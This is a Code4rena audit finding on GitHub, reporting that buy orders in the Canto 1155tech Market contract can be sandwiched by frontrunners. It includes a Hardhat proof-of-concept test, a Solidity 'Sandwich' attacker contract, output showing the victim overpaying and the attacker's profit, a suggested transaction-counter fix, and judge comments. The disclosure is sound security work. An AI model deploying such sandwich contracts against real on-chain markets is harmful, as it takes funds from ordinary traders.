code-423n4 / 2023-11-canto-findings

7 stars 6 forks source link

Market Buy orders are vulnerable for frontrunning, resulting in attacker receiving more NOTE than spent. #144

Closed c4-submissions closed 1 year ago

c4-submissions commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L150-L169

Vulnerability details

Impact

Bob decides to buy 5 shares for tokenID 1 and expect it costs 0.01605 NOTE tokens, but a malicious user frontruns the transaction and Bob ended up buying the shares for 0.041549999999999998 resulting in a 158.879% price increase, while the malicious user sells the shares back with profit.

Proof of Concept

describe('Front running Buy Orders', function () {
    let deployer, alice, bob, charlie, attacker;

    const LINEAR_INCREASE = 1e18 / 1000;
    const URI = "https://tbd.com/{id}.json"
    before(async function () {
        [deployer, alice, bob, charlie, attacker] = await ethers.getSigners()
        let signers = [deployer, alice, bob, charlie, attacker]

        this.noteTokenFactory = await ethers.getContractFactory('MockERC20');
        this.noteTokenContract = await this.noteTokenFactory.deploy("Note", "NOTE", ethers.utils.parseUnits("1000000", 18));

        // Everyone starts with 1000 NOTE tokens
        for(let i = 0; i < signers.length; i++) {
            await this.noteTokenContract.transfer(signers[i].address, ethers.utils.parseUnits("1000", 18));
        }
    });
    it("Deploy ", async function () {
        this.linearBondingFactory = await ethers.getContractFactory('LinearBondingCurve');
        this.linearBondingContract = await this.linearBondingFactory.deploy(LINEAR_INCREASE);

        this.marketFactory = await ethers.getContractFactory('Market');
        this.marketContract = await this.marketFactory.deploy(URI, this.noteTokenContract.address);

        await this.marketContract.changeBondingCurveAllowed(this.linearBondingContract.address, true);
        await this.marketContract.restrictShareCreation(false);

        // attacker contracts
        let sandwichFactory = await ethers.getContractFactory('Sandwich', attacker);
        this.sandwichContract = await sandwichFactory.deploy(this.marketContract.address, this.noteTokenContract.address);

        // send ETH to perform tx
        await attacker.sendTransaction({
            to: this.sandwichContract.address,
            value: ethers.utils.parseEther("1")
        });

        this.attackerBalanceBefore = await this.noteTokenContract.balanceOf(attacker.address);

        // approve and transfer NOTE tokens to sandwich contract
        await this.noteTokenContract.connect(attacker).approve(this.sandwichContract.address, ethers.utils.parseUnits("1000", 18));
        await this.noteTokenContract.connect(attacker).transfer(this.sandwichContract.address, ethers.utils.parseUnits("1000", 18));
    });

    it("Alice Creates Share", async function () {
        await this.marketContract.connect(alice).createNewShare("Beautiful Share", this.linearBondingContract.address, "metadataURI");
        await this.marketContract.shareIDs("Beautiful Share");
    });

    it("Bob Buys Shares", async function () {
        this.bobBalanceBeforeBuy = await this.noteTokenContract.balanceOf(bob.address);
                // approve the market contract to spend 1000 Note Tokens
        await this.noteTokenContract.connect(bob).approve(this.marketContract.address, ethers.utils.parseUnits("1000", 18));
        // Bobs transaction
        await this.marketContract.connect(bob).buy(1, 5,  { gasPrice: ethers.utils.parseUnits('10', 'gwei') });
    });

    it("Exploit", async function () {
        // Buy transaction
        await this.sandwichContract.connect(attacker).sandwich(
            true, {gasPrice: ethers.utils.parseUnits('100', 'gwei') }
        );

        // Bobs transaction will be executed here

        // Sell Transaction
        await this.sandwichContract.connect(attacker).sandwich(
            false,  {gasPrice: ethers.utils.parseUnits('5', 'gwei') }
        )

        await this.sandwichContract.connect(attacker).withdraw({gasPrice: ethers.utils.parseUnits('3', 'gwei') });
    });

    after(async function () {
        this.expectedPrice = await this.marketContract.getBuyPrice(1, 5);
        await ethers.provider.send('evm_mine', []);

        const price = Number(this.expectedPrice[0]) + Number(this.expectedPrice[1]);
        const expected = Number(this.bobBalanceBeforeBuy.toString()) - price
        this.bobBalanceAfter = await this.noteTokenContract.balanceOf(bob.address);
        console.log("Bob balance before: ", this.bobBalanceBeforeBuy.toString());
        console.log("Bob expected balance after: ", expected.toString());
        console.log("Bob actual balance after: ", this.bobBalanceAfter.toString());
        // expected balance       999983950000000000000, expected costs 0.01605
        // actual balance         999958450000000000002, actual costs 0.041549999999999998
        // = 158.879% price increase

        this.attackerBalanceAfter = await this.noteTokenContract.balanceOf(attacker.address);
        console.log("Attacker balance before: ", this.attackerBalanceBefore.toString());
        console.log("Attacker balance after: ", this.attackerBalanceAfter.toString());
        // actual balance 1000023167250000000000
        // 0.02316725 PROFIT
    });
});

Sandwich contract

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.20;

import "@openzeppelin/contracts/interfaces/IERC1155.sol";

import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

interface IMarket is IERC1155 {
    function buy(uint256 _id, uint256 _amount) external;
    function sell(uint256 _id, uint256 _amount) external;
}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
}

contract Sandwich is Ownable {
    IMarket private immutable market;
    IERC20 private immutable noteToken;

    constructor(address _market, address _token) Ownable(msg.sender) {
        market = IMarket(_market);
        noteToken = IERC20(_token);
    }

    function sandwich(bool _isBuy) external onlyOwner {
        if (_isBuy) {
            noteToken.approve(address(market), 500e18); // 500 token approval
            market.buy(1, 5);
        } else {
            market.sell(1, 5);
        }
    }

    function withdraw() external onlyOwner {
        uint256 noteContractBalance = noteToken.balanceOf(address(this));
        noteToken.transfer(msg.sender, noteContractBalance);
    }

    receive() external payable {}
}

Results

Front running Buy Orders
    ✔ Deploy  (8356ms)
    ✔ Alice Creates Share
    ✔ Users Buys Shares
    ✔ Exploit (12021ms)
Bob balance before:  1000000000000000000000
Bob expected balance after:  999983950000000000000
Bob actual balance after:  999958450000000000002
Attacker balance before:  1000000000000000000000
Attacker balance after:  1000023167250000000000

Tools Used

Hardhat & Solidity

Recommended Mitigation Steps

Adding a global _txCounter can prevent Bob from executing the transaction, because the _txCounter mismatched.

uint256 private _txCounter = 0;

function buy(uint256 _id, uint256 _amount, uint256 txCounter) external {
        require(shareData[_id].creator != msg.sender, "Creator cannot buy");
        require(txCounter == _txCounter, "txCounter mismatch");
        (uint256 price, uint256 fee) = getBuyPrice(_id, _amount); // Reverts for non-existing ID
        SafeERC20.safeTransferFrom(token, msg.sender, address(this), price + fee);
        // The reward calculation has to use the old rewards value (pre fee-split) to not include the fees of this buy
        // The rewardsLastClaimedValue then needs to be updated with the new value such that the user cannot claim fees of this buy
        uint256 rewardsSinceLastClaim = _getRewardsSinceLastClaim(_id);
        // Split the fee among holder, creator and platform
        _splitFees(_id, fee, shareData[_id].tokensInCirculation);
        rewardsLastClaimedValue[_id][msg.sender] = shareData[_id].shareHolderRewardsPerTokenScaled;

        shareData[_id].tokenCount += _amount;
        shareData[_id].tokensInCirculation += _amount;
        tokensByAddress[_id][msg.sender] += _amount;

        if (rewardsSinceLastClaim > 0) {
            SafeERC20.safeTransfer(token, msg.sender, rewardsSinceLastClaim);
        }
        ++_txCounter;
        emit SharesBought(_id, msg.sender, _amount, price, fee);
    }

Front running Buy Orders
    ✔ Deploy  (8378ms)
    ✔ Alice Creates Share
    ✔ Users Buys Shares
    ✔ Exploit (12020ms)
Bob balance before:  1000000000000000000000
Bob expected balance after:  999983950000000000000 // tx is reverted
Bob actual balance after:  1000000000000000000000 // tx is reverted
Attacker balance before:  1000000000000000000000
Attacker balance after:  999998246500000000000

Or a more complex integration of Commitment-Reveal Scheme

https://medium.com/coinmonks/commit-reveal-scheme-in-solidity-c06eba4091bb

Assessed type

Other

c4-pre-sort commented 1 year ago

minhquanym marked the issue as duplicate of #12

c4-judge commented 1 year ago

MarioPoneder changed the severity to 2 (Med Risk)

c4-judge commented 1 year ago

MarioPoneder marked the issue as satisfactory